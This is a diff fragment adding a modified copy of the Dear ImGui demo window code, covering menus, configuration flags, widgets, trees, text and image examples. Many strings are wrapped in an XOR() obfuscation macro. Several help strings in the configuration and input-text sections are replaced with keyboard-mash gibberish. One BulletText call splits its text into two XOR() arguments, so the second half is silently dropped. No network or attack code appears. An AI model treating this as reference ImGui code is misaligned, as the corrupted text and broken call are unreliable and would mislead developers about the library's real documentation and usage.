ShowExampleAppCustomRendering(&show_app_custom_rendering); + + // Dear ImGui Apps (accessible from the "Tools" menu) + static bool show_app_metrics = false; + static bool show_app_style_editor = false; + static bool show_app_about = false; + + if (show_app_metrics) { ImGui::ShowMetricsWindow(&show_app_metrics); } + if (show_app_about) { ImGui::ShowAboutWindow(&show_app_about); } + if (show_app_style_editor) + { + ImGui::Begin(XOR("Dear ImGui Style Editor"), &show_app_style_editor); + ImGui::ShowStyleEditor(); + ImGui::End(); + } + + // Demonstrate the various window flags. Typically you would just use the default! + static bool no_titlebar = false; + static bool no_scrollbar = false; + static bool no_menu = false; + static bool no_move = false; + static bool no_resize = false; + static bool no_collapse = false; + static bool no_close = false; + static bool no_nav = false; + static bool no_background = false; + static bool no_bring_to_front = false; + + ImGuiWindowFlags window_flags = 0; + if (no_titlebar) window_flags |= ImGuiWindowFlags_NoTitleBar; + if (no_scrollbar) window_flags |= ImGuiWindowFlags_NoScrollbar; + if (!no_menu) window_flags |= ImGuiWindowFlags_MenuBar; + if (no_move) window_flags |= ImGuiWindowFlags_NoMove; + if (no_resize) window_flags |= ImGuiWindowFlags_NoResize; + if (no_collapse) window_flags |= ImGuiWindowFlags_NoCollapse; + if (no_nav) window_flags |= ImGuiWindowFlags_NoNav; + if (no_background) window_flags |= ImGuiWindowFlags_NoBackground; + if (no_bring_to_front) window_flags |= ImGuiWindowFlags_NoBringToFrontOnFocus; + if (no_close) p_open = NULL; // Don't pass our bool* to Begin + + // We specify a default position/size in case there's no data in the .ini file. + // We only do it to make the demo applications a little more welcoming, but typically this isn't required. + ImGui::SetNextWindowPos(ImVec2(650, 20), ImGuiCond_FirstUseEver); + ImGui::SetNextWindowSize(ImVec2(550, 680), ImGuiCond_FirstUseEver); + + // Main body of the Demo window starts here. + if (!ImGui::Begin(XOR("Dear ImGui Demo"), p_open, window_flags)) + { + // Early out if the window is collapsed, as an optimization. + ImGui::End(); + return; + } + + // Most "big" widgets share a common width settings by default. See 'Demo->Layout->Widgets Width' for details. + + // e.g. Use 2/3 of the space for widgets and 1/3 for labels (right align) + //ImGui::PushItemWidth(-ImGui::GetWindowWidth() * 0.35f); + + // e.g. Leave a fixed amount of width for labels (by passing a negative value), the rest goes to widgets. + ImGui::PushItemWidth(ImGui::GetFontSize() * -12); + + // Menu Bar + if (ImGui::BeginMenuBar()) + { + if (ImGui::BeginMenu(XOR("Menu"))) + { + ShowExampleMenuFile(); + ImGui::EndMenu(); + } + if (ImGui::BeginMenu(XOR("Examples"))) + { + ImGui::MenuItem(XOR("Main menu bar"), NULL, &show_app_main_menu_bar); + ImGui::MenuItem(XOR("Console"), NULL, &show_app_console); + ImGui::MenuItem(XOR("Log"), NULL, &show_app_log); + ImGui::MenuItem(XOR("Simple layout"), NULL, &show_app_layout); + ImGui::MenuItem(XOR("Property editor"), NULL, &show_app_property_editor); + ImGui::MenuItem(XOR("Long text display"), NULL, &show_app_long_text); + ImGui::MenuItem(XOR("Auto-resizing window"), NULL, &show_app_auto_resize); + ImGui::MenuItem(XOR("Constrained-resizing window"), NULL, &show_app_constrained_resize); + ImGui::MenuItem(XOR("Simple overlay"), NULL, &show_app_simple_overlay); + ImGui::MenuItem(XOR("Manipulating window titles"), NULL, &show_app_window_titles); + ImGui::MenuItem(XOR("Custom rendering"), NULL, &show_app_custom_rendering); + ImGui::MenuItem(XOR("Documents"), NULL, &show_app_documents); + ImGui::EndMenu(); + } + if (ImGui::BeginMenu(XOR("Tools"))) + { + ImGui::MenuItem(XOR("Metrics/Debugger"), NULL, &show_app_metrics); + ImGui::MenuItem(XOR("Style Editor"), NULL, &show_app_style_editor); + ImGui::MenuItem(XOR("About Dear ImGui"), NULL, &show_app_about); + ImGui::EndMenu(); + } + ImGui::EndMenuBar(); + } + + ImGui::Text(XOR("dear imgui says hello. (%s)"), IMGUI_VERSION); + ImGui::Spacing(); + + if (ImGui::CollapsingHeader(XOR("Help"))) + { + ImGui::Text(XOR("ABOUT THIS DEMO:")); + ImGui::BulletText(XOR("Sections below are demonstrating many aspects of the library.")); + ImGui::BulletText(XOR("The \"Examples\" menu above leads to more demo contents.")); + ImGui::BulletText(XOR("The \"Tools\" menu above gives access to: About Box, Style Editor,\n"), + XOR("and Metrics/Debugger (general purpose Dear ImGui debugging tool).")); + ImGui::Separator(); + + ImGui::Text(XOR("PROGRAMMER GUIDE:")); + ImGui::BulletText(XOR("See the ShowDemoWindow() code in imgui_demo.cpp. <- you are here!")); + ImGui::BulletText(XOR("See comments in imgui.cpp.")); + ImGui::BulletText(XOR("See example applications in the examples/ folder.")); + ImGui::BulletText(XOR("Read the FAQ at http://www.dearimgui.org/faq/")); + ImGui::BulletText(XOR("Set 'io.ConfigFlags |= NavEnableKeyboard' for keyboard controls.")); + ImGui::BulletText(XOR("Set 'io.ConfigFlags |= NavEnableGamepad' for gamepad controls.")); + ImGui::Separator(); + + ImGui::Text(XOR("USER GUIDE:")); + ImGui::ShowUserGuide(); + } + + if (ImGui::CollapsingHeader("Configuration")) + { + ImGuiIO& io = ImGui::GetIO(); + + if (ImGui::TreeNode("Configuration##2")) + { + ImGui::CheckboxFlags("io.ConfigFlags: NavEnableKeyboard", &io.ConfigFlags, ImGuiConfigFlags_NavEnableKeyboard); + ImGui::SameLine(); HelpMarker("Enable keyboard controls."); + ImGui::CheckboxFlags("io.ConfigFlags: NavEnableGamepad", &io.ConfigFlags, ImGuiConfigFlags_NavEnableGamepad); + ImGui::SameLine(); HelpMarker(XOR("Enable gamepad controls. Require backend to set io.BackendFlags |= ImGuiBackendFlags_HasGamepad.\n\nRead instructions in imgui.cpp for details.")); + ImGui::CheckboxFlags("io.ConfigFlags: NavEnableSetMousePos", &io.ConfigFlags, ImGuiConfigFlags_NavEnableSetMousePos); + ImGui::SameLine(); HelpMarker("Instruct navigation to move the mouse cursor. See comment for ImGuiConfigFlags_NavEnableSetMousePos."); + ImGui::CheckboxFlags("io.ConfigFlags: NoMouse", &io.ConfigFlags, ImGuiConfigFlags_NoMouse); + if (io.ConfigFlags & ImGuiConfigFlags_NoMouse) + { + // The "NoMouse" option can get us stuck with a disabled mouse! Let's provide an alternative way to fix it: + if (fmodf((float)ImGui::GetTime(), 0.40f) < 0.20f) + { + ImGui::SameLine(); + ImGui::Text("<>"); + } + if (ImGui::IsKeyPressed(ImGui::GetKeyIndex(ImGuiKey_Space))) + io.ConfigFlags &= ~ImGuiConfigFlags_NoMouse; + } + ImGui::CheckboxFlags("io.ConfigFlags: NoMouseCursorChange", &io.ConfigFlags, ImGuiConfigFlags_NoMouseCursorChange); + ImGui::SameLine(); HelpMarker("Instruct backend to not alter mouse cursor shape and visibility."); + ImGui::Checkbox("io.ConfigInputTextCursorBlink", &io.ConfigInputTextCursorBlink); + ImGui::SameLine(); HelpMarker("Set to false to disable blinking cursor, for users who consider it distracting"); + ImGui::Checkbox("io.ConfigWindowsResizeFromEdges", &io.ConfigWindowsResizeFromEdges); + ImGui::SameLine(); HelpMarker("Enable resizing of windows from their edges and from the lower-left corner.\nThis requires (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) because it needs mouse cursor feedback."); + ImGui::Checkbox("io.ConfigWindowsMoveFromTitleBarOnly", &io.ConfigWindowsMoveFromTitleBarOnly); + ImGui::Checkbox("io.MouseDrawCursor", &io.MouseDrawCursor); + ImGui::SameLine(); HelpMarker("Instruct Dear ImGui to render a mouse cursor itself. Note that a mouse cursor rendered via your application GPU rendering path will feel more laggy than hardware cursor, but will be more in sync with your other visuals.\n\nSome desktop applications may use both kinds of cursors (e.g. enable software cursor only when resizing/dragging something)."); + ImGui::Text("Also see Style->Rendering for rendering options."); + ImGui::TreePop(); + ImGui::Separator(); + } + + if (ImGui::TreeNode("Backend Flags")) + { + HelpMarker( + "Those flags are set by the backends (tysasydshsysdysdaydasysadwe files) to specify their capabilities.\n" + "Here we expose then as read-only fields to avoid breaking interactions with your backend."); + + // Make a local copy to avoid modifying actual backend flags. + ImGuiBackendFlags backend_flags = io.BackendFlags; + ImGui::CheckboxFlags("io.BackendFlags: HasGamepad", &backend_flags, ImGuiBackendFlags_HasGamepad); + ImGui::CheckboxFlags("io.BackendFlags: HasMouseCursors", &backend_flags, ImGuiBackendFlags_HasMouseCursors); + ImGui::CheckboxFlags("io.BackendFlags: HasSetMousePos", &backend_flags, ImGuiBackendFlags_HasSetMousePos); + ImGui::CheckboxFlags("io.BackendFlags: RendererHasVtxOffset", &backend_flags, ImGuiBackendFlags_RendererHasVtxOffset); + ImGui::TreePop(); + ImGui::Separator(); + } + + if (ImGui::TreeNode("Style")) + { + HelpMarker("The same contents can be accessed in 'Tools->Style Editor' or by calling the ShowStyleEditor() function."); + ImGui::ShowStyleEditor(); + ImGui::TreePop(); + ImGui::Separator(); + } + + if (ImGui::TreeNode("Capture/Logging")) + { + HelpMarker( + "The logging API redirects all text output so you can easily capture the content of " + "a window or a block. Tree nodes can be automatically expanded.\n" + "Try opening any of the contents below in this window and then click one of the \"Log To\" button."); + ImGui::LogButtons(); + + HelpMarker("You can also call ImGui::LogText() to output directly to the log without a visual output."); + if (ImGui::Button("Copy \"Hello, world!\" to clipboard")) + { + ImGui::LogToClipboard(); + ImGui::LogText("Hello, world!"); + ImGui::LogFinish(); + } + ImGui::TreePop(); + } + } + + if (ImGui::CollapsingHeader("Window options")) + { + if (ImGui::BeginTable("split", 3)) + { + ImGui::TableNextColumn(); ImGui::Checkbox("No titlebar", &no_titlebar); + ImGui::TableNextColumn(); ImGui::Checkbox("No scrollbar", &no_scrollbar); + ImGui::TableNextColumn(); ImGui::Checkbox("No menu", &no_menu); + ImGui::TableNextColumn(); ImGui::Checkbox("No move", &no_move); + ImGui::TableNextColumn(); ImGui::Checkbox("No resize", &no_resize); + ImGui::TableNextColumn(); ImGui::Checkbox("No collapse", &no_collapse); + ImGui::TableNextColumn(); ImGui::Checkbox("No close", &no_close); + ImGui::TableNextColumn(); ImGui::Checkbox("No nav", &no_nav); + ImGui::TableNextColumn(); ImGui::Checkbox("No background", &no_background); + ImGui::TableNextColumn(); ImGui::Checkbox("No bring to front", &no_bring_to_front); + ImGui::EndTable(); + } + } + + // All demo contents + ShowDemoWindowWidgets(); + ShowDemoWindowLayout(); + ShowDemoWindowPopups(); + ShowDemoWindowTables(); + ShowDemoWindowMisc(); + + // End of ShowDemoWindow() + ImGui::PopItemWidth(); + ImGui::End(); +} + +static void ShowDemoWindowWidgets() +{ + if (!ImGui::CollapsingHeader("Widgets")) + return; + + if (ImGui::TreeNode("Basic")) + { + static int clicked = 0; + if (ImGui::Button("Button")) + clicked++; + if (clicked & 1) + { + ImGui::SameLine(); + ImGui::Text("Thanks for clicking me!"); + } + + static bool check = true; + ImGui::Checkbox("checkbox", &check); + + static int e = 0; + ImGui::RadioButton("radio a", &e, 0); ImGui::SameLine(); + ImGui::RadioButton("radio b", &e, 1); ImGui::SameLine(); + ImGui::RadioButton("radio c", &e, 2); + + // Color buttons, demonstrate using PushID() to add unique identifier in the ID stack, and changing style. + for (int i = 0; i < 7; i++) + { + if (i > 0) + ImGui::SameLine(); + ImGui::PushID(i); + ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(i / 7.0f, 0.6f, 0.6f)); + ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(i / 7.0f, 0.7f, 0.7f)); + ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(i / 7.0f, 0.8f, 0.8f)); + ImGui::Button("Click"); + ImGui::PopStyleColor(3); + ImGui::PopID(); + } + + // Use AlignTextToFramePadding() to align text baseline to the baseline of framed widgets elements + // (otherwise a Text+SameLine+Button sequence will have the text a little too high by default!) + // See 'Demo->Layout->Text Baseline Alignment' for details. + ImGui::AlignTextToFramePadding(); + ImGui::Text("Hold to repeat:"); + ImGui::SameLine(); + + // Arrow buttons with Repeater + static int counter = 0; + float spacing = ImGui::GetStyle().ItemInnerSpacing.x; + ImGui::PushButtonRepeat(true); + if (ImGui::ArrowButton("##left", ImGuiDir_Left)) { counter--; } + ImGui::SameLine(0.0f, spacing); + if (ImGui::ArrowButton("##right", ImGuiDir_Right)) { counter++; } + ImGui::PopButtonRepeat(); + ImGui::SameLine(); + ImGui::Text("%d", counter); + + ImGui::Text("Hover over me"); + if (ImGui::IsItemHovered()) + ImGui::SetTooltip("I am a tooltip"); + + ImGui::SameLine(); + ImGui::Text("- or me"); + if (ImGui::IsItemHovered()) + { + ImGui::BeginTooltip(); + ImGui::Text("I am a fancy tooltip"); + static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f }; + ImGui::PlotLines("Curve", arr, IM_ARRAYSIZE(arr)); + ImGui::EndTooltip(); + } + + ImGui::Separator(); + + ImGui::LabelText("label", "Value"); + + { + // Using the _simplified_ one-liner Combo() api here + // See "Combo" section for examples of how to use the more complete BeginCombo()/EndCombo() api. + const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIIIIII", "JJJJ", "KKKKKKK" }; + static int item_current = 0; + ImGui::Combo("combo", &item_current, items, IM_ARRAYSIZE(items)); + ImGui::SameLine(); HelpMarker( + "Refer to the \"Combo\" section below for an explanation of the full BeginCombo/EndCombo API, " + "and demonstration of various flags.\n"); + } + + { + // To wire InputText() with std::string or any other custom string type, + // see the "Text Input > Resize Callback" section of this demo, and the misc/cpp/imgui_stdlib.h file. + static char str0[128] = "Hello, world!"; + ImGui::InputText("input text", str0, IM_ARRAYSIZE(str0)); + ImGui::SameLine(); HelpMarker( + "USER:\n" + "Hold SHIFT or use mouse to select text.\n" + "CTRL+Left/Right to word jump.\n" + "CTRL+A or double-click to select all.\n" + "CTRL+X,CTRL+C,CTRL+V clipboard.\n" + "CTRL+Z,CTRL+Y undo/redo.\n" + "ESCAPE to revert.\n\n" + "PROGRAMMER:\n" + "xddxdxdxgfastgasdytsayas() " + "to a bxczbzxcbczx string type. See ghsaysatysayas/xdgasytasya/XDSAFGASGAGSA.hsahashsa for an hdashdsahsd (yqwyqw is hsdhasdhsd gastyasya " + "in ghashuisiahusahusaiohusa8ty7sa9tyas798.cpp)."); + + static char str1[128] = ""; + ImGui::InputTextWithHint("input text (w/ hint)", "enter text here", str1, IM_ARRAYSIZE(str1)); + + static int i0 = 123; + ImGui::InputInt("input int", &i0); + ImGui::SameLine(); HelpMarker( + "You can apply arithmetic operators +,*,/ on numerical values.\n" + " e.g. [ 100 ], input \'*2\', result becomes [ 200 ]\n" + "Use +- to subtract."); + + static float f0 = 0.001f; + ImGui::InputFloat("input float", &f0, 0.01f, 1.0f, "%.3f"); + + static double d0 = 999999.00000001; + ImGui::InputDouble("input double", &d0, 0.01f, 1.0f, "%.8f"); + + static float f1 = 1.e10f; + ImGui::InputFloat("input scientific", &f1, 0.0f, 0.0f, "%e"); + ImGui::SameLine(); HelpMarker( + "You can input value using the scientific notation,\n" + " e.g. \"1e+8\" becomes \"100000000\"."); + + static float vec4a[4] = { 0.10f, 0.20f, 0.30f, 0.44f }; + ImGui::InputFloat3("input float3", vec4a); + } + + { + static int i1 = 50, i2 = 42; + ImGui::DragInt("drag int", &i1, 1); + ImGui::SameLine(); HelpMarker( + "Click and drag to edit value.\n" + "Hold SHIFT/ALT for faster/slower edit.\n" + "Double-click or CTRL+click to input value."); + + ImGui::DragInt("drag int 0..100", &i2, 1, 0, 100, "%d%%", ImGuiSliderFlags_AlwaysClamp); + + static float f1 = 1.00f, f2 = 0.0067f; + ImGui::DragFloat("drag float", &f1, 0.005f); + ImGui::DragFloat("drag small float", &f2, 0.0001f, 0.0f, 0.0f, "%.06f ns"); + } + + { + static int i1 = 0; + ImGui::SliderInt("slider int", &i1, -1, 3); + ImGui::SameLine(); HelpMarker("CTRL+click to input value."); + + static float f1 = 0.123f, f2 = 0.0f; + ImGui::SliderFloat("slider float", &f1, 0.0f, 1.0f, "ratio = %.3f"); + ImGui::SliderFloat("slider float (log)", &f2, -10.0f, 10.0f, "%.4f", ImGuiSliderFlags_Logarithmic); + + static float angle = 0.0f; + ImGui::SliderAngle("slider angle", &angle); + + // Using the format string to display a name instead of an integer. + // Here we completely omit '%d' from the format string, so it'll only display a name. + // This technique can also be used with DragInt(). + enum Element { Element_Fire, Element_Earth, Element_Air, Element_Water, Element_COUNT }; + static int elem = Element_Fire; + const char* elems_names[Element_COUNT] = { "Fire", "Earth", "Air", "Water" }; + const char* elem_name = (elem >= 0 && elem < Element_COUNT) ? elems_names[elem] : "Unknown"; + ImGui::SliderInt("slider enum", &elem, 0, Element_COUNT - 1, elem_name); + ImGui::SameLine(); HelpMarker("Using the format string parameter to display a name instead of the underlying integer."); + } + + { + static float col1[3] = { 1.0f, 0.0f, 0.2f }; + static float col2[4] = { 0.4f, 0.7f, 0.0f, 0.5f }; + ImGui::ColorEdit3("color 1", col1); + ImGui::SameLine(); HelpMarker( + "Click on the color square to open a color picker.\n" + "Click and hold to use drag and drop.\n" + "Right-click on the color square to show options.\n" + "CTRL+click on individual component to input value.\n"); + + ImGui::ColorEdit4("color 2", col2); + } + + { + // List box + const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi", "Mango", "Orange", "Pineapple", "Strawberry", "Watermelon" }; + static int item_current = 1; + ImGui::ListBox("listbox\n(single select)", &item_current, items, IM_ARRAYSIZE(items), 4); + + //static int listbox_item_current2 = 2; + //ImGui::SetNextItemWidth(-1); + //ImGui::ListBox("##listbox2", &listbox_item_current2, listbox_items, IM_ARRAYSIZE(listbox_items), 4); + } + + ImGui::TreePop(); + } + + // Testing ImGuiOnceUponAFrame helper. + //static ImGuiOnceUponAFrame once; + //for (int i = 0; i < 5; i++) + // if (once) + // ImGui::Text("This will be displayed only once."); + + if (ImGui::TreeNode("Trees")) + { + if (ImGui::TreeNode("Basic trees")) + { + for (int i = 0; i < 5; i++) + { + // Use SetNextItemOpen() so set the default state of a node to be open. We could + // also use TreeNodeEx() with the ImGuiTreeNodeFlags_DefaultOpen flag to achieve the same thing! + if (i == 0) + ImGui::SetNextItemOpen(true, ImGuiCond_Once); + + if (ImGui::TreeNode((void*)(intptr_t)i, "Child %d", i)) + { + ImGui::Text("blah blah"); + ImGui::SameLine(); + if (ImGui::SmallButton("button")) {} + ImGui::TreePop(); + } + } + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Advanced, with Selectable nodes")) + { + HelpMarker( + "This is a more typical looking tree with selectable nodes.\n" + "Click to select, CTRL+Click to toggle, click on arrows or double-click to open."); + static ImGuiTreeNodeFlags base_flags = ImGuiTreeNodeFlags_OpenOnArrow | ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_SpanAvailWidth; + static bool align_label_with_current_x_position = false; + static bool test_drag_and_drop = false; + ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnArrow", &base_flags, ImGuiTreeNodeFlags_OpenOnArrow); + ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnDoubleClick", &base_flags, ImGuiTreeNodeFlags_OpenOnDoubleClick); + ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanAvailWidth", &base_flags, ImGuiTreeNodeFlags_SpanAvailWidth); ImGui::SameLine(); HelpMarker("Extend hit area to all available width instead of allowing more items to be laid out after the node."); + ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanFullWidth", &base_flags, ImGuiTreeNodeFlags_SpanFullWidth); + ImGui::Checkbox("Align label with current X position", &align_label_with_current_x_position); + ImGui::Checkbox("Test tree node as drag source", &test_drag_and_drop); + ImGui::Text("Hello!"); + if (align_label_with_current_x_position) + ImGui::Unindent(ImGui::GetTreeNodeToLabelSpacing()); + + // 'selection_mask' is dumb representation of what may be user-side selection state. + // You may retain selection state inside or outside your objects in whatever format you see fit. + // 'node_clicked' is temporary storage of what node we have clicked to process selection at the end + /// of the loop. May be a pointer to your own node type, etc. + static int selection_mask = (1 << 2); + int node_clicked = -1; + for (int i = 0; i < 6; i++) + { + // Disable the default "open on single-click behavior" + set Selected flag according to our selection. + ImGuiTreeNodeFlags node_flags = base_flags; + const bool is_selected = (selection_mask & (1 << i)) != 0; + if (is_selected) + node_flags |= ImGuiTreeNodeFlags_Selected; + if (i < 3) + { + // Items 0..2 are Tree Node + bool node_open = ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Node %d", i); + if (ImGui::IsItemClicked()) + node_clicked = i; + if (test_drag_and_drop && ImGui::BeginDragDropSource()) + { + ImGui::SetDragDropPayload("_TREENODE", NULL, 0); + ImGui::Text("This is a drag and drop source"); + ImGui::EndDragDropSource(); + } + if (node_open) + { + ImGui::BulletText("Blah blah\nBlah Blah"); + ImGui::TreePop(); + } + } + else + { + // Items 3..5 are Tree Leaves + // The only reason we use TreeNode at all is to allow selection of the leaf. Otherwise we can + // use BulletText() or advance the cursor by GetTreeNodeToLabelSpacing() and call Text(). + node_flags |= ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen; // ImGuiTreeNodeFlags_Bullet + ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Leaf %d", i); + if (ImGui::IsItemClicked()) + node_clicked = i; + if (test_drag_and_drop && ImGui::BeginDragDropSource()) + { + ImGui::SetDragDropPayload("_TREENODE", NULL, 0); + ImGui::Text("This is a drag and drop source"); + ImGui::EndDragDropSource(); + } + } + } + if (node_clicked != -1) + { + // Update selection state + // (process outside of tree loop to avoid visual inconsistencies during the clicking frame) + if (ImGui::GetIO().KeyCtrl) + selection_mask ^= (1 << node_clicked); // CTRL+click to toggle + else //if (!(selection_mask & (1 << node_clicked))) // Depending on selection behavior you want, may want to preserve selection when clicking on item that is part of the selection + selection_mask = (1 << node_clicked); // Click to single-select + } + if (align_label_with_current_x_position) + ImGui::Indent(ImGui::GetTreeNodeToLabelSpacing()); + ImGui::TreePop(); + } + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Collapsing Headers")) + { + static bool closable_group = true; + ImGui::Checkbox("Show 2nd header", &closable_group); + if (ImGui::CollapsingHeader("Header", ImGuiTreeNodeFlags_None)) + { + ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); + for (int i = 0; i < 5; i++) + ImGui::Text("Some content %d", i); + } + if (ImGui::CollapsingHeader("Header with a close button", &closable_group)) + { + ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); + for (int i = 0; i < 5; i++) + ImGui::Text("More content %d", i); + } + /* + if (ImGui::CollapsingHeader("Header with a bullet", ImGuiTreeNodeFlags_Bullet)) + ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); + */ + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Bullets")) + { + ImGui::BulletText("Bullet point 1"); + ImGui::BulletText("Bullet point 2\nOn multiple lines"); + if (ImGui::TreeNode("Tree node")) + { + ImGui::BulletText("Another bullet point"); + ImGui::TreePop(); + } + ImGui::Bullet(); ImGui::Text("Bullet point 3 (two calls)"); + ImGui::Bullet(); ImGui::SmallButton("Button"); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Text")) + { + if (ImGui::TreeNode("Colorful Text")) + { + // Using shortcut. You can use PushStyleColor()/PopStyleColor() for more flexibility. + ImGui::TextColored(ImVec4(1.0f, 0.0f, 1.0f, 1.0f), "Pink"); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Yellow"); + ImGui::TextDisabled("Disabled"); + ImGui::SameLine(); HelpMarker("The TextDisabled color is stored in ImGuiStyle."); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Word Wrapping")) + { + // Using shortcut. You can use PushTextWrapPos()/PopTextWrapPos() for more flexibility. + ImGui::TextWrapped( + "This text should automatically wrap on the edge of the window. The current implementation " + "for text wrapping follows simple rules suitable for English and possibly other languages."); + ImGui::Spacing(); + + static float wrap_width = 200.0f; + ImGui::SliderFloat("Wrap width", &wrap_width, -20, 600, "%.0f"); + + ImDrawList* draw_list = ImGui::GetWindowDrawList(); + for (int n = 0; n < 2; n++) + { + ImGui::Text("Test paragraph %d:", n); + ImVec2 pos = ImGui::GetCursorScreenPos(); + ImVec2 marker_min = ImVec2(pos.x + wrap_width, pos.y); + ImVec2 marker_max = ImVec2(pos.x + wrap_width + 10, pos.y + ImGui::GetTextLineHeight()); + ImGui::PushTextWrapPos(ImGui::GetCursorPos().x + wrap_width); + if (n == 0) + ImGui::Text("The lazy dog is a good dog. This paragraph should fit within %.0f pixels. Testing a 1 character word. The quick brown fox jumps over the lazy dog.", wrap_width); + else + ImGui::Text("aaaaaaaa bbbbbbbb, c cccccccc,dddddddd. d eeeeeeee ffffffff. gggggggg!hhhhhhhh"); + + // Draw actual text bounding box, following by marker of our expected limit (should not overlap!) + draw_list->AddRect(ImGui::GetItemRectMin(), ImGui::GetItemRectMax(), IM_COL32(255, 255, 0, 255)); + draw_list->AddRectFilled(marker_min, marker_max, IM_COL32(255, 0, 255, 255)); + ImGui::PopTextWrapPos(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("UTF-8 Text")) + { + // UTF-8 test with Japanese characters + // (Needs a suitable font? Try "Google Noto" or "Arial Unicode". See docs/FONTS.md for details.) + // - From C++11 you can use the u8"my text" syntax to encode literal strings as UTF-8 + // - For earlier compiler, you may be able to encode your sources as UTF-8 (e.g. in Visual Studio, you + // can save your source files as 'UTF-8 without signature'). + // - FOR THIS DEMO FILE ONLY, BECAUSE WE WANT TO SUPPORT OLD COMPILERS, WE ARE *NOT* INCLUDING RAW UTF-8 + // CHARACTERS IN THIS SOURCE FILE. Instead we are encoding a few strings with hexadecimal constants. + // Don't do this in your application! Please use u8"text in any language" in your application! + // Note that characters values are preserved even by InputText() if the font cannot be displayed, + // so you can safely copy & paste garbled characters into another application. + ImGui::TextWrapped( + "CJK text will only appears if the font was loaded with the appropriate CJK character ranges. " + "Call io.Font->AddFontFromFileTTF() manually to load extra character ranges. " + "Read docs/FONTS.md for details."); + ImGui::Text("Hiragana: \xe3\x81\x8b\xe3\x81\x8d\xe3\x81\x8f\xe3\x81\x91\xe3\x81\x93 (kakikukeko)"); // Normally we would use u8"blah blah" with the proper characters directly in the string. + ImGui::Text("Kanjis: \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e (nihongo)"); + static char buf[32] = "\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e"; + //static char buf[32] = u8"NIHONGO"; // <- this is how you would write it with C++11, using real kanjis + ImGui::InputText("UTF-8 input", buf, IM_ARRAYSIZE(buf)); + ImGui::TreePop(); + } + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Images")) + { + ImGuiIO& io = ImGui::GetIO(); + ImGui::TextWrapped( + "Below we are displaying the font texture (which is the only texture we have access to in this demo). " + "Use the 'ImTextureID' type as storage to pass pointers or identifier to your own texture data. " + "Hover the texture for a zoomed view!"); + + // Below we are displaying the font texture because it is the only texture we have access to inside the demo! + // Remember that ImTextureID is just storage for whatever you want it to be. It is essentially a value that + // will be passed to the rendering backend via the ImDrawCmd structure. + // If you use one of the default imgui_impl_XXXX.cpp rendering backend, they all have comments at the top + // of their respective source file to specify what they expect to be stored in ImTextureID, for example: + // - The imgui_impl_dx11.cpp renderer expect a 'ID3D11ShaderResourceView*' pointer + // - The imgui_impl_opengl3.cpp renderer expect a GLuint OpenGL texture identifier, etc. + // More: + // - If you decided that ImTextureID = MyEngineTexture*, then you can pass your MyEngineTexture* pointers + // to ImGui::Image(), and gather width/height through your own functions, etc. + // - You can use ShowMetricsWindow() to inspect the draw data that are being passed to your renderer, + // it will help you debug issues if you are confused about it. + // - Consider using the lower-level ImDrawList::AddImage() API, via ImGui::GetWindowDrawList()->AddImage(). + // - Read https://github.com/ocornut/imgui/blob/master/docs/FAQ.md + // - Read https://github.com/ocornut/imgui/wiki/Image-Loading-and-Displaying-Examples + ImTextureID my_tex_id = io.Fonts->TexID; + float my_tex_w = (float)io.Fonts->TexWidth; + float my_tex_h = (float)io.Fonts->TexHeight; + { + ImGui::Text("%.0fx%.0f", my_tex_w, my_tex_h); + ImVec2 pos = ImGui::GetCursorScreenPos(); + ImVec2 uv_min = ImVec2(0.0f, 0.0f); // Top-left + ImVec2 uv_max = ImVec2(1.0f, 1.0f); // Lower-right + ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); // No tint + ImVec4 border_col = ImVec4(1.0f, 1.0f, 1.0f, 0.5f); // 50% opaque white + ImGui::Image(my_tex_id, ImVec2(my_tex_w, my_tex_h), uv_min, uv_max, tint_col, border_col); + if (ImGui::IsItemHovered()) + { + ImGui::BeginTooltip(); + float region_sz = 32.0f; + float region_x = io.MousePos.x - pos.x - region_sz * 0.5f; + float region_y = io.MousePos.y - pos.y - region_sz * 0.5f; + float zoom = 4.0f; + if (region_x < 0.0f) { region_x = 0.0f; } + else if (region_x > my_tex_w - region_sz) { region_x = my_tex_w - region_sz; } + if (region_y < 0.0f) { region_y = 0.0f; } + else if (region_y > my_tex_h - region_sz) { region_y = my_tex_h - region_sz; } + ImGui::Text("Min: (%.2f, %.2f)", region_x, region_y); + ImGui::Text("Max: (%.2f, %.2f)", region_x + region_sz, region_y + region_sz); + ImVec2 uv0 = ImVec2((region_x) / my_tex_w, (region_y) / my_tex_h); + ImVec2 uv1 = ImVec2((region_x + region_sz) / my_tex_w, (region_y + region_sz) / my_tex_h); + ImGui::Image(my_tex_id, ImVec2(region_sz * zoom, region_sz * zoom), uv0, uv1, tint_col, border_col); + ImGui::EndTooltip(); + } + } + ImGui::TextWrapped("And now some textured buttons.."); + static int pressed_count = 0; + for (int i = 0; i < 8; i++) + { + ImGui::PushID(i); + int 